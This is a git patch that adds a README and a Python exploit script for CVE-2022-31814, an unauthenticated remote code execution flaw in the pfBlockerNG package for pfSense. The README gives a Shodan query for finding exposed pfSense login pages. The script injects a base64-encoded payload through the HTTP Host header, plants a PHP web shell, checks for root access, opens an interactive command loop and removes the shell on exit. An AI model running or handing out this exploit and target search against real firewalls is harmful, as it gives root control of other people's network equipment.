From 966b0f5a529670f9542e539e1e02c20aa60a13c4 Mon Sep 17 00:00:00 2001
From: helloexp <21156949+helloexp@users.noreply.github.com>
Date: Tue, 21 Feb 2023 15:38:56 +0800
Subject: [PATCH] add pfBlockerNG 2.1.4_26-RCE

---
 .../pfBlockerNG 2.1.4_26-RCE/README.md        |  6 ++
 .../pfBlockerNG 2.1.4_26-RCE/exp.py           | 63 +++++++++++++++++++
 2 files changed, 69 insertions(+)
 create mode 100644 CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/README.md
 create mode 100644 CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/exp.py

diff --git a/CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/README.md b/CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/README.md
new file mode 100644
index 0000000..db755f1
--- /dev/null
+++ b/CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/README.md	
@@ -0,0 +1,6 @@
+
+### CVE
+CVE-2022-31814
+
+### Shodan 语法
+`https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22`
\ No newline at end of file
diff --git a/CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/exp.py b/CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/exp.py
new file mode 100644
index 0000000..18e96b0
--- /dev/null
+++ b/CMS/pfBlockerNG/pfBlockerNG 2.1.4_26-RCE/exp.py	
@@ -0,0 +1,63 @@
+# !/usr/bin/env python3
+import argparse
+import requests
+import time
+import sys
+import urllib.parse
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
+parser.add_argument('--url', action='store', dest='url', required=True,
+                    help="Full URL and port e.g.: https://192.168.1.111:443/")
+args = parser.parse_args()
+
+url = args.url
+shell_filename = "system_advanced_control.php"
+
+
+def check_endpoint(url):
+    response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
+    if response.status_code == 200:
+        print("[+] pfBlockerNG is installed")
+    else:
+        print("\n[-] pfBlockerNG not installed")
+        sys.exit()
+
+
+def upload_shell(url, shell_filename):
+    payload = {
+        "Host": "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
+    print("[/] Uploading shell...")
+    response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
+    time.sleep(2)
+    response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
+    if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
+        print("[+] Upload succeeded")
+    else:
+        print("\n[-] Error uploading shell. Probably patched ", response.content)
+        sys.exit()
+
+
+def interactive_shell(url, shell_filename, cmd):
+    response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')),
+                            verify=False)
+    print(str(response.text) + "\n")
+
+
+def delete_shell(url, shell_filename):
+    delcmd = "rm /usr/local/www/system_advanced_control.php"
+    response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')),
+                            verify=False)
+    print("\n[+] Shell deleted")
+
+
+check_endpoint(url)
+upload_shell(url, shell_filename)
+try:
+    while True:
+        cmd = input("# ")
+        interactive_shell(url, shell_filename, cmd)
+except:
+    delete_shell(url, shell_filename)